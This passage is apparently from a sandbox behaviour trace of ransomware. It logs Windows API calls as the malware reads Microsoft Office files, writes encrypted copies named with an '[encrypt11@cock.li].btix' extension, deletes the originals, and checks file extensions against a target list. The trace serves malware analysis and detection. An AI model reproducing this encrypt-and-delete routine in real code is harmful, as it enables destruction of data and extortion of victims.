Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.233] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=1261) returned 1 [0050.233] CloseHandle (hObject=0x390) returned 1 [0050.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0050.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.233] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.233] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.234] GetLastError () returned 0x0 [0050.234] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0050.334] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0050.335] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.335] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.335] SetEndOfFile (hFile=0x358) returned 1 [0050.335] CloseHandle (hObject=0x358) returned 1 [0050.336] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.336] SetEndOfFile (hFile=0x390) returned 1 [0050.336] CloseHandle (hObject=0x390) returned 1 [0050.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.352] lstrlenW (lpString=".doc") returned 4 [0050.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString=".docx") returned 5 [0050.352] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.352] lstrlenW (lpString=".pdf") returned 4 [0050.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString=".xls") returned 4 [0050.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString=".xlsx") returned 5 [0050.352] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.352] lstrlenW (lpString=".ppt") returned 4 [0050.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.352] lstrlenW (lpString=".zip") returned 4 [0050.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.352] lstrlenW (lpString=".rar") returned 4 [0050.352] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString=".bz2") returned 4 [0050.352] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString=".7z") returned 3 [0050.352] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.352] lstrlenW (lpString=".dbf") returned 4 [0050.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.352] lstrlenW (lpString=".1cd") returned 4 [0050.352] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.352] lstrlenW (lpString=".jpg") returned 4 [0050.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.353] lstrlenW (lpString=".doc") returned 4 [0050.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".docx") returned 5 [0050.353] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.353] lstrlenW (lpString=".pdf") returned 4 [0050.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".xls") returned 4 [0050.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".xlsx") returned 5 [0050.353] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.353] lstrlenW (lpString=".ppt") returned 4 [0050.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.353] lstrlenW (lpString=".zip") returned 4 [0050.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.353] lstrlenW (lpString=".rar") returned 4 [0050.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".bz2") returned 4 [0050.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".7z") returned 3 [0050.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.353] lstrlenW (lpString=".dbf") returned 4 [0050.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.353] lstrlenW (lpString=".1cd") returned 4 [0050.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0050.353] lstrlenW (lpString=".jpg") returned 4 [0050.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.354] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.354] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0050.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.354] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=9831) returned 1 [0050.354] CloseHandle (hObject=0x320) returned 1 [0050.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0050.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.354] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.354] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0050.362] GetLastError () returned 0x0 [0050.362] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x2667, lpOverlapped=0x0) returned 1 [0050.390] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x2670, lpOverlapped=0x0) returned 1 [0050.482] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.482] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x106, lpOverlapped=0x0) returned 1 [0050.482] SetEndOfFile (hFile=0x2e0) returned 1 [0050.483] CloseHandle (hObject=0x2e0) returned 1 [0050.483] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.483] SetEndOfFile (hFile=0x320) returned 1 [0050.484] CloseHandle (hObject=0x320) returned 1 [0050.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString=".doc") returned 4 [0050.485] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString=".docx") returned 5 [0050.485] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0050.485] lstrlenW (lpString=".pdf") returned 4 [0050.485] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString=".xls") returned 4 [0050.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString=".xlsx") returned 5 [0050.485] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0050.485] lstrlenW (lpString=".ppt") returned 4 [0050.485] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString=".zip") returned 4 [0050.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.485] lstrlenW (lpString=".rar") returned 4 [0050.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString=".bz2") returned 4 [0050.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString=".7z") returned 3 [0050.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString=".dbf") returned 4 [0050.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString=".1cd") returned 4 [0050.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString=".jpg") returned 4 [0050.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.485] lstrlenW (lpString=".doc") returned 4 [0050.486] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString=".docx") returned 5 [0050.486] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0050.486] lstrlenW (lpString=".pdf") returned 4 [0050.486] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString=".xls") returned 4 [0050.486] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString=".xlsx") returned 5 [0050.486] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0050.486] lstrlenW (lpString=".ppt") returned 4 [0050.486] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.486] lstrlenW (lpString=".zip") returned 4 [0050.486] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.486] lstrlenW (lpString=".rar") returned 4 [0050.486] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString=".bz2") returned 4 [0050.486] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString=".7z") returned 3 [0050.486] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.486] lstrlenW (lpString=".dbf") returned 4 [0050.486] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.486] lstrlenW (lpString=".1cd") returned 4 [0050.486] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0050.486] lstrlenW (lpString=".jpg") returned 4 [0050.486] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.487] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.487] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0050.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.487] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=373) returned 1 [0050.487] CloseHandle (hObject=0x320) returned 1 [0050.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0050.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.487] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.487] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0050.488] GetLastError () returned 0x0 [0050.488] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x175, lpOverlapped=0x0) returned 1 [0050.488] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x180, lpOverlapped=0x0) returned 1 [0050.489] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0050.489] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x100, lpOverlapped=0x0) returned 1 [0050.490] SetEndOfFile (hFile=0x2e0) returned 1 [0050.490] CloseHandle (hObject=0x2e0) returned 1 [0050.491] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0050.491] SetEndOfFile (hFile=0x320) returned 1 [0050.491] CloseHandle (hObject=0x320) returned 1 [0050.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0050.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.492] lstrlenW (lpString=".doc") returned 4 [0050.492] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.492] lstrlenW (lpString=".docx") returned 5 [0050.492] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0050.492] lstrlenW (lpString=".pdf") returned 4 [0050.492] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.492] lstrlenW (lpString=".xls") returned 4 [0050.492] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.492] lstrlenW (lpString=".xlsx") returned 5 [0050.492] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0050.492] lstrlenW (lpString=".ppt") returned 4 [0050.492] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.492] lstrlenW (lpString=".zip") returned 4 [0050.492] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.492] lstrlenW (lpString=".rar") returned 4 [0050.492] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.492] lstrlenW (lpString=".bz2") returned 4 [0050.492] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.492] lstrlenW (lpString=".7z") returned 3 [0050.492] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString=".dbf") returned 4 [0050.493] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString=".1cd") returned 4 [0050.493] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString=".jpg") returned 4 [0050.493] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString=".doc") returned 4 [0050.493] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString=".docx") returned 5 [0050.493] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0050.493] lstrlenW (lpString=".pdf") returned 4 [0050.493] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString=".xls") returned 4 [0050.493] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString=".xlsx") returned 5 [0050.493] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0050.493] lstrlenW (lpString=".ppt") returned 4 [0050.493] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString=".zip") returned 4 [0050.493] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.493] lstrlenW (lpString=".rar") returned 4 [0050.493] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString=".bz2") returned 4 [0050.493] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.493] lstrlenW (lpString=".7z") returned 3 [0050.493] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.493] lstrlenW (lpString=".dbf") returned 4 [0050.494] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.494] lstrlenW (lpString=".1cd") returned 4 [0050.494] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0050.494] lstrlenW (lpString=".jpg") returned 4 [0050.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.494] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.494] lstrlenW (lpString="AG00004_.GIF") returned 12 [0050.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.496] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=9024) returned 1 [0050.496] CloseHandle (hObject=0x320) returned 1 [0050.496] GetFileAttributesW (lpFileName="C:\\Program 